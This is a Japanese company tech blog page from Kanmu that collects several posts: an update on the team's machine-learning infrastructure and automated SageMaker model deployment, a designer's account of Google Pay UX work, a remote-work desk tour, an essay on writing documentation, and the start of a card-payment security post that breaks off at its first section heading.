カンムの機械学習インフラの今 2023 年版

こんにちは。ソフトウェアエンジニアの新田です。こちらは カンム Advent Calendar 2023、8日目の記事です。 昨日はデザイナー torimizuno さんによる バンドルカードの Google Pay デザイン でした。今年のバンドルカードの目玉リリースの1つであるスマホタッチ決済(Google Pay)のデザインについて説明されていて、凄く面白いです。

今回は、カンムの機械学習のインフラ周りについて話します。実はカンムのテックブログでは2年半前に同じテーマの記事があります。この内容からいくつかアップデートがあるので、今回はその差分を重点的に拾っていこうと思います。

tech.kanmu.co.jp

また、自分は入社してそろそろ一周年で、前回の記事は入社前に読んでいました。今回の記事では、入社前ではわからなかったところもあえて注目して取り上げてみたいなと思います。

Big Picture

機械学習インフラ全体図

Data Preparation

BigQuery データウェアハウスの刷新

クラウドの構成は以前同様、プロダクトは AWS をメインに使いつつ、データ基盤は Google Cloud の BigQuery に集約する構成は一緒です。しかし BigQuery 基盤自体は以前と違うものになっています。

これまでのカンムのデータ分析環境では、本番環境の DB からレプリケーションしている分析用のリードレプリカを利用していました。一方で、データベースは複数存在しているため、リードレプリカを利用した環境では複数データベースをまたいだデータ分析が難しいという課題がありました。

そこで複数のデータソースを一つの BigQuery によるデータウェアハウスに集約することを念頭において基盤を再構築しました。これによって複数のデータソースを横断した分析ができ、事業KPI をより精緻なかたちで算出できるようになるなど、データによる意思決定の精度が上がっています。

例に漏れず機械学習の学習データセットも、この新しい BigQuery 基盤を使うように変更しています。

Data Preparation

以前の構成では Embulk を利用していた BigQuery へのデータの取り込み周りも、新しい基盤では異なります。

カンムではプロダクトのデータベースは AWS Aurora を使っています。そこでエクスポート機能を使って S3 にデータをエクスポートします。

docs.aws.amazon.com

そのあと S3 から Google Cloud の Cloud Storage への転送を Storage Transfer Service で行います。

Cloud Storage に到着したデータを BigQuery の外部テーブルとして扱い、 BigQuery のテーブル・ビューとして整形するパイプラインを整備しています。

いわゆる Transform と呼ばれるこの一連のパイプラインは dbt を ECS Task として実行するような Step Functions で構成しています。 AWS から Google Cloud のリソースの認証には OIDC 方式を採用して鍵ファイルの管理を不要にしています。

このデータ取り込みにおいて、以前の構成の Embulk ではワークロードのリソース調達が必要になっていましたが、新しい構成では完全なマネージドなためその辺りの考慮が不要になったのは嬉しいポイントです。

以前同様、データ取り込みは差分更新ではなく全件洗い替えを日次実行しています。この辺はデータサイズ増加に伴うコスト面などの問題などがでてくると思うのでその際には改善を検討していきたいと思っています。

Training, Serving & Inference

推論モデルの増加

推論モデルは去年までは1つだったんですが、今では3つに増えました。

これまで学習データ不足などから機械学習でアプローチできていなかった課題に対しても、機械学習の推論モデルを徐々に導入できています。

いまのところ全てのモデルにおいて、同じアルゴリズムをベースに学習しています。

1つのリポジトリにて、ライブラリやウェブフレームワーク・ Web サーバ構成などは共通しており、デプロイパッケージは1つのコンテナイメージとして管理しています。

コンテナ実行時に環境変数を渡すことで実行する学習コードや推論コードが切り替わるようにしています。これによりモデルの数が増えてもロジック以外のセットアップが少なく完結できます。

これは利用するアルゴリズムを限定するつもりではなく、いまは1つのアルゴリズムで間に合っているためであり、新たなアルゴリズムが必要になったらその時々に拡張していければいいなという考えです。

推論モデルのデリバリー改善

以前と変わらず、モデルの学習から検証用のエンドポイントへの適用までを Step Functions によって自動化しています。

そのあとのモデルの性能やエンドポイントの動作に問題がないか確認をしたのちに、本番用のエンドポイントに適用する流れも同じです。ただ、この辺の作業が以前までは手動で行われていたのですが、運用するモデルが増加するにあたってこの手作業はトイルになってしまうので自動化しました。

自動化のために2つの GitHub Actions のワークフローを用意しています。

モデル更新のワークフロー

1つ目のワークフロー(図右) はモデルの性能結果を示す Pull Request を作成します。それをチームメンバー達でレビューしマージします。 マージを契機に、 2つ目のワークフロー(図左) が本番エンドポイントに EndpointConfig を適用します。これにより新しいモデルが本番にデプロイされます。

endmame によるデプロイ

2つ目のワークフローはデプロイに endmame という内製の CLI ツールを使って endmame deploy コマンドでデプロイを実行します。 ( えんどまめ と読みます。カンムでお世話になっている ecspressolambroll をリスペクトしています。)

この endmame のコマンド endmame deploy は、設定ファイルを読み込み、新しい EndpointConfig を適用するかたちで、対象の SageMaker Endpoint に更新します。 (sagemaker:UpdateEndpoint をコールし、デプロイが完了するまで sagemaker:DescribeEndpoint で状態をポーリングします。)

処理の流れ

1つ目のワークフローの実行

まず1つ目のワークフロー (図右) はあらかじめ用意した Jupyter Notebook のファイルを papermill を使ってバッチ実行し Pull Request の作成までを行います。

Jupyter Notebook はセルを順番に実行すると以下の処理が実行されるようになっています。 papermill をとおしてそれらの処理を GitHub Actions 上で実行します。

  1. 検証用エンドポイントからモデルの情報を取得し、それから学習結果のログやメトリクスを取得する
  2. 学習結果のログ、メトリクスの内容をセルに出力する
  3. 検証用エンドポイントにテストデータを用いて実際にリクエストしレスポンス内容をセルに出力する
  4. 本番エンドポイントの設定に対応している endmame の設定ファイルを編集する

このワークフローは上流の Step Functions の処理の完了時間からバッファを持たせて GitHub Actions の on.schedule によって自動で実行されるようにしています。また、開発者が任意のタイミングで実行できるように on.workflow_dispatch による手動実行も可能にしています。

このワークフローは以下の処理を行います。

  1. 上述の Jupyter Notebook を papermill によってコピー & 実行
  2. リポジトリをチェックアウトし新規ブランチを作成
  3. 新規に作成されたコピー先の Notebook ファイル と 変更された endmame 設定ファイル をコミット
  4. Pull Request を作成

つまりこの Pull Request のコミット内容は、検証エンドポイントにデプロイされた新しいモデルの性能評価結果および API サーバの動作検証結果がレポートされた Notebook ファイルの追加コミットと、本番エンドポイントに適用する予定の設定ファイルの変更コミットになります。

作成された Pull Request のレビュー・マージ

モデル開発チームはその自動作成された Pull Request の内容 ( Notebook の内容と設定ファイルの変更内容) を確認し、問題なければ承認しマージします。

2つ目のワークフローの実行

マージを契機に2つ目のワークフロー(図左)が動作します。

endmame deploy コマンドを実行して、 Pull Request で変更された設定ファイルを読み込んで実際に本番エンドポイントを更新します。

このワークフローの実行が完了したらデプロイの成否が Slack に通知されるようにしています。

ちなみにですが、1つ目のワークフロー上で、デフォルトの GITHUB_TOKEN によるユーザとして Pull Request を作成してしまうと、その Pull Request 上で GitHub Actions の CI が回らないので注意が必要です。

cf. https://docs.github.com/en/actions/using-workflows/triggering-a-workflow#triggering-a-workflow-from-a-workflow

解決策として GitHub App のインストールとして認証を行い git push や Pull Request 作成の操作等を行うようにしています。

自動化の意図

デリバリープロセスの自動化の意図は「モデルが増えてきた作業時間の増加を短縮したいから」「モデル自体を入れ替えないタイプの変更 (ライブラリのアップデート) なども素早く安全にやりたいから」「強力な権限による手動操作の排除」etc… などがありますが、それに加えて、データセットシフトなどの問題に対する推論モデルのロバスト性を高めるために、性能評価プロセスをより高度なものにしていきたいと考えているためです。

そこで、あらかじめプロセスを自動化しておくと今後のプロセス改善はラクになります。今回構築したフローでは、テンプレートの Notebook ファイルを編集するだけで、それ以降の実行に反映されます。作業手順書のメンテナンスの必要がなくなりますし、手順を誤ると起きてしまうヒューマンエラーを防いでくれます。

評価プロセスの改善は今後力を入れていきたい領域の一つであるため、アップデートがあればまた記事にできたらいいなと思っています。

推論処理の課題

全てのモデルの推論処理は、「モデルをメモリにロードしておき、リクエストを受け付けると推論処理の結果を返すサーバを稼働するアーキテクチャ」 (リアルタイム/オンライン推論サーバ)になっています。

つまりオンライン処理時点で入力特徴量の取得が必要になります。 現状では、呼び出し側のサービスがデータベースからデータを取得・計算して入力特徴量を組み立てて、推論エンドポイントにリクエストを投げています。

推論処理の流れ

図をみて勘の良い方はお気づきかもしれませんが、学習時と推論時に異なるデータソースを用いているため計算の再現性に気を付ける必要があります。モデルの数や特徴量の増減のたびにこの辺りに慎重な実装を要していることや、学習に利用するデータソースの種類を増やした場合に推論時はそれをどのように取得するか… などの考慮事項があり、色々と課題が表出しているため来期は取り組んでいきたい領域の一つです。

Development

ローカルマシンによる開発環境もありますが、重い計算をしたい場合もっと大きなインスタンスが欲しくなるという要望を受け、クラウド上で開発できる環境を整備しています。

SageMaker Studio を使った JupyterLab ベースの実験環境です。いくつか工夫して使っていて、アイドルインスタンスを自動停止する仕組み、 OIDC 連携の仕組み、デバイスフローで GitHub App のユーザアクセストークンを発行してプライベートのリポジトリを操作する仕組み… などです。

実は今回の記事は本当はその辺りの話を書きたかったんですが、この記事の一週間前に SageMaker Studio に大幅なアップデート がアナウンスされて、これまでのものが SageMaker Studio Classic と名称が変更されました。あんまり Classic の話を書いてもな… と思って、今回の記事の内容を方針転換した経緯があります 😇

基本的に JupyterLab ベースの開発ですが、何時間単位となるような長時間の計算は JupyterLab は不向きな場合が多いためその辺りをシームレスにジョブ化できるような開発体験構築も検討していきたいと思っています。

最後に

機械学習のインフラ周りについて、前回の記事からのアップデートを重点的に説明しました。

お察しの方もいらっしゃると思いますが、そこまでモダンな MLOps ! といった構成ではなく、必要なときに必要な自動化や改善をしてきて今のインフラになっています。途中途中で話しているように、まだまだやりたいけどやれてないことや課題などがあります。

入社してみて気づいたのですがカンムは情報の透明性が高いです。事業状況は事業計画が毎月アップデートされていたり、今後の事業方針について役員・ディレクター陣からの説明も随時行われます。

これまでに書いたようにまだまだ課題が山積みなので、事業状況にアクセスできる環境は、計画から先んじて必要な仕組みは何かを考えて次の打ち手を検討するときに非常にありがたいです。

この辺りの課題に向き合って楽しく議論しながら一緒に働いてくれるお仲間を募集しています。

team.kanmu.co.jp

バンドルカードの Google Pay デザイン

デザイナーのtorimizunoです。 こちらはカンム Advent Calendar 2023、7日目の記事です。 先日の記事はhikkyさんによるSecure W2で証明書を発行してEntra ID CBAを設定する でした。

はじめに

バンドルカードは2023年10月に Google Pay に対応しました。 お買い物という日々利用されるシーンのなか、非接触でバンドルカードが使えるようになったことに気づいて迷わず使い始められるよう、デザイナーとして意識したことをご紹介いたします。

とにかく、気づきやすく

Google Pay に追加ボタンのレギュレーション上、カードが表示されている画面でのみ表示が可能となります。

当初はひとつ奥の階層となる「カード情報」に設置することも検討していました。しかし、お買い物先のサイトで既にカード情報を登録した方は、頻繁にカード情報を見ない可能性もあります。そのため、明細を見に行ったり、アプリを起動したときに誰でも気づけるよう、最終的にはホーム画面にボタンを設置しました。

明確に伝える

今までバンドルカードを実店舗で使いたい場合、リアルカードを発行する必要がありました。

Google Pay では、Visa のタッチ決済を利用してスマホひとつでコンビニやスーパーなどで買い物ができるようになるため、そのことが伝わるようにライティングを意識しました。

具体的には、「タッチ決済」だとカードのタッチ決済と含めて勘違いされる可能性もあるため、「スマホタッチ決済」という機能名でお伝えしています。

そのタイミングで知りたいことに絞って伝える

Google Pay の設定前と後で、知りたい情報と取るアクションは変わります。 そのため、設定前では「何がどう便利になるのか」具体的にイメージできる情報に絞って伝えています。

設定後に起こすアクションはお店での支払いです。実際どこで、どう使うのかが知りたい情報となります。このマークがあるお店で使えることや、フィールドテストで自分たちが使い方に迷った、有人レジと無人レジでの使用方法をお伝えしています。

同じニーズに答える

Google Pay は「実店舗での支払いが可能になる」機能です。そのため、同じく実店舗での支払いが可能となる「リアルカード」を発行しようとしている方にも、便利となるものです。

アルカードをいざ発行しようとしている方や、リアルカードを申請したけれど住所の不備等で却下されてしまった方にも、「早く実店舗で使いたい」と同じニーズがある可能性があります。

そういった方たちがカードの発行途中で、「これならすぐに実店舗で支払いができるようになる」新しい機能に気づけるような導線をご案内しています。

リリース後もつまづきを減らす

リリース後の経過観測で、 Google Pay の設定を終えても Google ウォレット からカードが削除されてしまう、という問い合わせがありました。

調査したところ、 「 Android の画面ロックを解除した状態で設定を完了すると、セキュリティ上の問題で Google ウォレット からカードが削除される」という Google のセキュリティ機能があり、それに気づかず設定まで終えてしまう課題が発生していました。

数値的にも、設定を試みた方の15〜20%ほど、数としても数百件/1日この現象が発生していることがわかりました。(他の理由でのカード削除も含まれるため、すべてには該当しない)

そこで対応策として、画面ロック未設定の方に対して、設定に進もうとボタンを押したタイミングで、画面ロックの設定が必要なことをお伝えする打ち手を実施しました。

施策のリリース後、数値として10%以下まで数としても100件以下/1日に減少したことが確認できました。

おわりに

以上で一部抜粋にはなりますが、 Google Pay 対応の担当デザイナーとして意識した点のご紹介になります。

Google Pay のプレスリリース用の写真をチームメンバーで撮影したり、思い出深いプロジェクトとなりました。

また、今回文言まわりでレギュレーションがかなり厳格にあったため、AIを使って下記のようなプロンプトを書いてチェックを試したりしていました。

以下の文章をルールに沿って修正してください。

【ルール】
・ Google Pay の Google と Pay の間に必ず半角スペースをいれる
・文頭に Google Pay の単語がある場合、 Pay の後ろに半角スペースをいれる
・文中に Google Pay の単語がある場合、単語の前後に半角スペースをいれる
・文頭に Google ウォレット の単語がある場合、 Pay の後ろに半角スペースをいれる
・文中に Google ウォレット の単語がある場合、単語の前後に半角スペースをいれる
・文頭に Android の単語がある場合、後ろに半角スペースをいれる
・文中に Android の単語がある場合、単語の前後に半角スペースをいれる

【文章】
ここに推敲したい文章を入れる

AIについては他にPhotoshopで撮影した写真の不足部分を補うときに利用していますが、他にも試していきたいところです。

ここまで読んでくださりありがとうございました。

【デスクツアー】カンムメンバーの在宅環境

これは誰のデスクかな...?
こんにちは。Pool開発チームのhataです。

自分は人のデスク環境を観るのが好きです。人のデスク環境は三者三様で、その人らしさや個性が滲み出ており観ていて楽しいんですね。なので、ガジェット系Youtuberがたまに投稿しているデスク環境紹介動画を漁ったりするのが趣味になっています。

カンムでは、オフィス徒歩圏内に住むメンバー以外は全員フルリモートで働いています。自分もその一人で、オフィスは恵比寿にあるのですが、入社して以降ずっと富山県からのリモートワークです。

カンムのかなり自由な働き方を支える、リモートワークやフレックスなどの制度についてはこちらの記事をどうぞ。

note.com

物理出社が基本の会社では、メンバーのデスク環境は出社したときに観ることができると思います。ですが、フルリモートだと他の人のデスク環境は基本的には観れません。これが人のデスク環境を観ることが好きな自分にとっては悲しいんですね。

そこで「みんなのデスクみたい!」と言ってみたところ、多くの方が参加してくれました。

というわけで、個性あふれるデスクツアーのはじまりです。

バンドルカード バックエンドエンジニア:@bisho-jo氏

本人コメント

ErgoDoxEZ良

編集者コメント

トップバッターは関数プログラミングに強いbisho-jo氏。 縦に並んだ大きな外部ディスプレイが2枚、そして分割キーボードのErgo Dox EZが目を引くデスク。 大きなディスプレイが横に並んでいると視線の移動や首の負担が多くなりがちですが、bisho-jo氏はこれを縦にすることでカバー。なるほど、縦という選択肢があるのか...

セキュリティエンジニア:@miyaguchi氏

本人コメント

27インチの液晶2枚とErgoDox EZを使っています!KVMスイッチで仕事環境と個人の環境をパッと切り替えられるのが推しポイントです。

編集者コメント

こちらもErgoDox EZ勢。広い曲面デスクには取り回しのしやすそうなデスクアームタイプのマイクが装備されています。 推しポイントであるKVMスイッチ。こういう切り替えは毎回面倒ではありつつも、ツールを買う腰が上がらず、ついケーブルの抜き差しを頑張る運用になりがちです。

こぼれ話として、miyaguchi氏はこのErgo Doxのキーマップをカスタムしすぎて二度と普通のキーボードが使えない体になったそう。

Pool 開発エンジニア:@caffeine氏

本人コメント

私物のMacAirになったときにディスプレイを減らしました。27inchくらいのディスプレイを探してます。足元にはルーターなどをまとめてます。奥に転がってるのはラズパイとそのケーブル。

編集者コメント

MacBookクラムシェルモードで運用し、ディスプレイ一枚ですっきりしたデスク。扱いやすそうなモニターアームで支えられたDell製のディスプレイは、ベゼルが狭いので仕様以上に広く見えますね。良い。 Happy Hacking Keyboardの両脇に装備されたMagic Trackpadとトラックボールマウスにもそれぞれ使用用途が分けられていそうでこだわりが見えます。

データアナリスト:@gai氏

本人コメント

部屋全体もそうなのですが、デスク周りは物少なめです。 基本フルリモートであまり動かない生活になっているので、少しでも健康になれるように昇降デスクと分割キーボードを使ってみてます。

編集者コメント

両脇にモニターを構えたスタイル。気分転換ができる昇降デスクにはキーボードスライダーが取り付けてあり、デスク上はすっきりしていて本人の几帳面さが表れています。 シンプルにまとまりつつも、分割キーボードはカラフルで遊び心があっていいですね。デスク道具はどうも色味に欠けるものが多いのでこういったところに個性が光ります。

SRE:@sugawara氏

本人コメント

ディスプレイはLGの34インチ曲面ディスプレイ、キーボードはTEX Shinobiを使ってます。 細長いサイドテーブルをデスクとくっつけてL字にしています。

編集者コメント

大型の局面ディスプレイが目を引くデスク。そしてなんとマウスやトラックパッドが見当たりません。秘密はキーボードにあり。 この「TEX Shinobi」はトラックポイントが搭載されており、手をホームポジションから動かすことなくPC操作を完結できるとのこと。 ThinkPadは知っていましたが、外付けでトラックポイントが搭載されているキーボードがあるのは知らなかったなぁ。

バンドルカード バックエンドエンジニア:@sano氏

本人コメント

リビングで仕事しています。家族もリモートワーク中心でリビングで仕事しているため、会議のときは別部屋に移動することもあります。 道具は MacBook Pro のみです。こだわりは、家を職場のような雰囲気にしたくない、でしょうか...。でかいディスプレイや無駄な電子機器はあまり置きたくないというのと、書斎のような部屋も作りたくないと思っています。

編集者コメント

ISO8583を人力パースできると噂のsano氏。 こ、構図がおしゃれすぎる...!もちろん、拾い画ではなく、本人のご自宅です。 プライベートに仕事感を持ち込みたくない、という思想からリビングにMacBook一枚で仕事をこなすという無骨なスタイル。カッコいい。

Pool開発テックリード:@nakaji-dayo氏

本人コメント

油断すると足が痺れます

編集者コメント

こちらもシンプルなMacBook一枚スタイル。畳、襖といった伝統的な雰囲気が目を惹きます。こだわりのお座敷にローテーブルで、普段は正座で業務をしているとのこと。趣があるなぁ... 最近は正座椅子を導入されたとのことで、足の痺れにパッチを当てたそうです。

セキュリティエンジニア:@liva氏

本人コメント

FILCO Majestouch 2SS EditionにFILCOの無刻印キートップを付けてることが一番のこだわり。諸々を扱いやすい配置にして配線していたり、ちょいちょい趣味のものを置いていたりというデスク環境。浮かせてる曲面ディスプレイで動画流しながら作業してる。

編集者コメント

プラモデル、ミニチュアやメカニカルキーボードなどが置かれており、趣味性に溢れるデスク。ディスプレイは合わせて3枚で、かなり作業範囲が広く取れそうです。壁を背にして、L字型にすることで手の届く範囲に全てがあり、ちょっとした自分のお城みたいに感じられそうです。個人的にこういった配置はかなり好き。

データアナリスト:@teshima氏

本人コメント

FLEXISPOTの昇降デスクを使ってます。MTGの時は立ったほうが頭が冴える気がしており、使い分けしてます。私用デスクトップPC(業務時は主にBGMプレーヤーになっている)を天板にぶら下げており、スペース確保と昇降時にケーブルを気にしなくて良くて楽です。CO2モニターで二酸化炭素濃度を観測しており、換気の目安にしてます。デスク真横に懸垂バーを設置して、気分転換時に懸垂してます。

編集者コメント

昇降デスク・CO2モニター・懸垂バーと健康に配慮したスタイルとなっているデスク環境。デスク作業は集中力が切れると気分転換が難しいですが、すぐに立ち上がったり、ぶら下がったりして気分をリフレッシュできるのはいいですね。曲面になっている天板も注目ポイント。これにより、モニタやキーボード、マウスの位置調整が自然な形でできそうです。

機械学習エンジニア:@fkubota氏

本人コメント

とにかく机の上にはなにも置きたくない派です。 昔はデュアルでしたが今はウルトラワイドのシングルディスプレイです。 シングルにするとアプリの切り替え時の目線とマウスポインタの移動が少なく高速でできるのでこういう形に落ち着きました。 MacBookは机の横に添えるように置いているので圧迫感がなくてとてもいいです。 キーボードは、40%、スプリット、トラックボール付きのkeyball44を使っています。 Vimが好きでホームポジションから離れたくないのでこのキーボードは理想に近いくとても重宝しています。 ちなみに昇降デスクです。

編集者コメント

ぱっと見でわかる、並々ならぬデスク環境へのこだわり。シンプルなデスクに見えますが一つ一つにfkubota氏の哲学が見え隠れています。Vimmerであるfkubota氏は、キーの数が普通よりも40%少なくて、分割されており、トラックボールもついているかなり攻めたキーボードを愛用。ほとんどの操作がホームポジションから動かさずに完結できるので、かなり作業効率が良さそうです。

人事企画:@katsumata氏

本人コメント

業務PC、Switch、PS4、プライベートPCをノータイムで切り替えられるのがこだわったポイントで、お昼休憩に入った瞬間にスプラトゥーンを起動できます。(しています)

打ち合わせのときにイヤホンをつけるのが耳に負担がかかってストレスだったので、一昨年くらいからマイクスピーカーにしたんですがこれは正解でした。

編集者コメント

全体的に白のアイテムで構成された統一感のあるデスク。社内でも無類のゲーム好きであるkatsumata氏のデスクには、もちろんゲームのコントローラーがセット。 配信もされており、オーディオセレクターのメカメカしさがカッコいいですね。また、マウスにはlogicoolの多機能マウス、MX Masterをチョイス。マウスパッドも広めにスペースが取られており、ストレスなく作業ができそうです。

Pool開発エンジニア @hata

本人コメント

今回の記事の編集者である自分の仕事部屋です。ぜひ見てもらいたかったので... 普段は猫を抱っこして仕事をしています。昇降デスクとHHKBを分割キーボードのごとく2枚使用するという暴挙により、肩こりなどの体の不調はかなり減りました。また、本に囲まれた生活にアイデンティティーがあるので、仕事部屋は本で溢れています。


というわけで、カンム初のデスクツアーでした。人それぞれかなり個性があって、楽しんでもらえたと思います。 北は北海道から南は沖縄まで、カンムメンバーのほとんどは場所にとらわれず皆思い思いの環境で仕事をしています。気になった方はぜひぜひ↓。

kanmu.co.jp

ドキュメントを書く時に考えていること

ソフトウェアエンジニアの summerwind です。最近は LLM が自分のふりをして代わりに仕事をしてくれるような仕組み作りを趣味にしています。

先日社内で「ドキュメントをうまく書く方法はありますか?」という質問をもらったのですが、普段ドキュメントを書く時に意識をしている要素のようなものはあるものの、それをちゃんと言語化したことがなかったため、抽象的にしか答えることができませんでした。改めて言語化をしてみるのは面白そうだなと感じたので、今回はドキュメントを書く時に考えていることをいくつか書き出してみたいと思います。

想定する読者を決める

ドキュメントを書く時にまず最初にやるのは「そのドキュメントの想定する読者は誰か」についてを考えることです。よくある想定読者には次のような方々がいます。

  • 同じチームで働くエンジニアのメンバー
  • 同じプロジェクトで働くメンバー
  • 全メンバー

想定する読者が決まると、ドキュメントに書くべき情報は何か、どのような粒度で情報をまとめるべきなのかの検討がしやすくなります。例えば、様々な職種がいるプロジェクトメンバーに向けたドキュメントでは、いきなり技術用語や詳細な仕様の話を出しても理解が難しくなると思うので、アプリの動きや全体的な構成の話から深掘りしていくような流れを作るのがよさそうだ、といった判断ができるようになります。

全体的な構造を決める

想定読者が決まったら、その読者の理解度合いに応じてドキュメントの構造を決めていきます。例えばプロダクトに新しく追加する機能の説明用ドキュメントを書く場合は、背景や前提となる情報の説明から入り、機能の目的や説明、詳細と深掘りしていくような構成を作ります。

きれいな構造を一度にまとめるのは難しいため、まず最初に次のような見出しのリストを作り、ドキュメントに記載が必要と思われる情報をひととおり洗い出します。その後、見出しの順番を入れ替えたりセクションを分割したりというのを繰り返して、ドキュメントを読み進めるごとに詳しい内容が分かるような構成を組み立てていきます。

- 背景
- 前提となる情報
- 目的
- 要件
- 機能詳細
  - フローAについて
  - フローBについて

情報を文章にまとめる

全体的な構造がある程度決まったら、構造の見出しに従って情報を可能な限り簡潔な文章にまとめていきます。文章を書くにあたっては、最初に箇条書きリストで記載するべき情報をまとめ、その後、適切に段落を区切った文章を構成するようにしています。

以下は以前のブログ記事の中で 3D セキュアの説明をするための文章を考えた際の箇条書きリストのサンプルです。

# 3D セキュアとは

- 決済時にカードの所有者であることを事前に認証する仕組み
- 不正利用の防止に役立つ
- 3D というのは三次元のことではなく3つのドメインを指す
  - アクワイアラ、決済ネットワーク、イシュアの3者
- ...

この箇条書きリストをもとにして、次のような文章を書きます。

3D セキュアは、オンラインなど非対面でクレジットカードを使用して決済をする際に、カードの所有者であることを事前に認証する仕組みです。3D セキュアを使用することで、カード情報の盗用によるオンライン上での不正利用を防止できます。ショッピングサイトなどでカード決済をする際に突然パスワードの入力を求められた、といった経験がある方も多いかもしれません。あれが 3D セキュアによる認証です。 ...

自分だけが読むようなドキュメントは、脳内の理解した構造に基づく箇条書きリストでドキュメントを書くことがありますが、他の人に読んでもらうことを想定しているドキュメントは読みやすさを重視した簡潔な文章にまとめるようにしています。これは読み手が必ずしも自分と同じ脳内の理解構造を持つとは限らないと考えているためです。

適切なフォーマットで表現する

文章がまとまってきたら、読者にとって読みやすくなるように適切なフォーマットを使って情報の表現を調整します。

カンムの社内では広く Markdown が使われているため、例えば次のようなフォーマットを使用します。なお、どのような表現フォーマットを使うかについては、書き手の好みによるところが大きいかもしれません。


重要な説明や意識しておきたい単語は必要に応じて太字や斜体を使用して表現します。

3DS 最新仕様は **EMV 3-D Secure** です。
3-D というのは三次元のことではなく3つの *Domain* を指しています。

順序のない項目については順序なしリストを使用します。

- プランA: ...
- プランB: ...
- プランC: ...

手順や流れなどは順序付きリストにまとめます。

1. 最初に A を実行します
2. 次に B を実行します
3. ...

他のドキュメントや Web ページの内容、メッセージなどは引用形式を使用します。

> We choose to go to the moon. We choose to go to the moon in this decade and do the other things, not because they are easy, but because they are hard.

前提となる知識や情報を整理する

新たにドキュメントを書く場合は、最初の方にそのドキュメントを理解するのに必要となる前提知識や情報を可能な限りまとめるようにしています。前提となる知識や情報が多くなるような場合は、前提を説明するための個別のドキュメントを用意することもあります。

例えば、バンドルカードの 3DS の実装に関する詳細設計ドキュメントを書く場合を想像してみます。この実装の説明には以下のような前提知識が必要となるため、ドキュメントの最初の方にこれらの説明や考え方について書いておくようにします。

  • 3DS とは何か
  • 3DS の実装に必要となるシステムは何か

制約条件を整理する

前提となる情報と同様に、設計や手順などのドキュメントを書く際は制約条件も整理して書くようにしています。ここで言う制約条件とは「ドキュメントの書き手の都合では変更できないような事項」のことを指します。制約条件には具体的には以下のようなものがあります。

  • パートナー企業が管理するシステムの仕様
  • パートナー企業と合意したスケジュール
  • 法規制やコンプライアンスなどに基づく変えることが困難な要件
  • 社内で確定したスケジュール

これらの制約条件を可能な限り整理しておくと、ドキュメントに書かれた情報の背景を理解する助けとなり、またドキュメントを土台にした設計レビューなどの議論もしやすくなると考えています。

基本的な方針を示す

前提や制約条件、要件などを記載して議論に使用するようなドキュメント (Design Docなど) を書く場合には制約条件や要件をよく考慮した上で基本的な方針を示す内容を書くようにしています。

  • 2023/12 までに機能 X をリリースする
  • 法規制に基づいて機能 Y の追加は必須とする
  • システム構成の制約によりコンポーネント A に機能 X を実装する

このような基本方針は、ドキュメントの内容をもとにレビューや議論をする際の大枠の合意に役立ちます。もし大枠の合意なしに詳細部分に関する議論に入ってしまうと、大枠部分に方針転換が発生した時に大きな手戻りが発生し、議論が最初からやりなおしになる可能性もあるので、これを避ける意図もあります。

運用時の動きを想定した内容を含める

プロダクトに関するドキュメントを書く際は、できるだけ運用時の動きを想定して、それに関する情報を含めるようにしています。

例えば新しい機能の設計をするためのドキュメントには、不具合発生時の調査を想定してログの出力に関する情報を追加したり、障害発生時に起きる可能性がある問題などについて言及するようにします。何かの操作手順に関するドキュメントを書くような場合には、エラーが起きるケースや入力値のバリデーションなどについて可能な限り言及するようにします。

どこまで運用時の動きを想定できるかは書き手の経験的な部分に依存するかもしれません。最初に全てを書こうとはせず、思いついたタイミングなどに必要に応じてドキュメントを繰り返し加筆するようにしています。

情報の説明と論点や確認事項は明示的に分けて書く

ドキュメントでは情報に関する説明と個人の意向や確認事項を混ぜて書かないように心がけています。これは単純に、ある情報に関する説明の文章の途中に個人の意向や確認事項を混ぜ込んでしまうと、どこまでが事実でどこまでが書き手の意向なのかが分かりにくくなってしまうためです。

ドキュメントを土台に何かを議論したり説明したりする場合は、論点や確認事項を個別のセクションに独立した形あるいは 要確認 といったラベルを付与した単独の段落として記述するようにしています。

一次ソースへの参照を書く

パートナー企業が管理するシステムとの接続のための設計ドキュメントや特定のツールを使った運用手順に関するドキュメントには、システムの仕様書や運用の中で扱うツールのマニュアルといった一次ソースへのリンクを記載するようにしています。これは読者がドキュメントには記載がないより詳しい情報を知りたいと思った時に、関連情報へのアクセス手段を提供することを意図しています。

継続的に更新する

ソースコードの管理と同じでドキュメントも継続的に更新しないと様々な問題が生じていきます。新しい情報や前提が生まれた場合は必要に応じて内容を更新するようにします。ドキュメントの継続的な更新が難しい場合は、すでに内容が古くなったことを明記するなどして読み手が混乱しないように配慮しておくのがよいかもしれません。これに関しては LLM のような新しい技術を活用して、継続的にドキュメントを自動更新していくような仕組みを作れれば、と最近は考えています。

おわりに

いくつかの項目に分けて言語化を試みたのですが、いかがでしたでしょうか。ここに書いた全ての項目を意識しながらドキュメントを書くことは自分にとっても難しいのですが、今後もよりよいドキュメントの書き方を常に模索していきたいと思います。

最後に、ChatGPT にドキュメントに関する俳句 (?) を考えてもらいましたので、それを紹介してこの記事を締めくくりたいと思います。

情報の海 一つ一つの波 大事にせよ

カンムではプロダクト改善に加わってくれるソフトウェアエンジニアを募集中です。カジュアル面談も大歓迎ですので、ぜひお声がけください。

kanmu.co.jp

カード決済のセキュリティ的な問題点とその対策、IC チップの決済とその仕組み

エンジニアの佐野です。カンムはカード決済のサービスを提供しています。カード決済にはいくつかの決済手段があり、マグストライプ、IC、IC非接触(俗に言うタッチ決済)、オンライン決済などの機能が提供可能です。iD のようなスマートデバイスにカード情報を入れてスマホでタッチ決済する仕組みもあります。カンムのプロダクトであるバンドルカードはマグストライプとオンライン決済、Pool はマグストライプとオンライン決済に加えて IC接触決済、IC非接触決済(タッチ決済)を提供しています。今日はセキュリティ的な観点から各種決済手段の特徴や問題点とともに、主に IC 決済の仕組みについて小ネタを交えつつ書いていこうと思います。カンムが提供しているカードは Visa カードでありクローズドな仕様や confidential なものについては言及することはできませんが、公開仕様であったり一般的な事柄のみを用いてなるべくわかりやすく書いていこうと思います。カード決済の仕組みや仕様は膨大であり一知半解な部分もありますので、もしそのような記述を見つけた場合はコメントいただけると幸いです。

  1. 前提知識
  2. マグストライプの問題点と対策
  3. オンライン決済の問題点と対策
  4. ICチップの統一規格EMVの登場
  5. ICチップ決済の処理フロー
  6. ICチップ決済(タッチ決済)のフロー
  7. まとめ

1. 前提知識

記事を読んでもらうための前提知識を書きます。カード決済の技術を説明するには決済周りの知識なしには説明が難しいところがあります。読者はまずは以下の点を抑えてください。

  • 業界構造
  • オーソリゼーション / オーソリ / Authorization
  • カードに入っている情報

1.1 業界構造

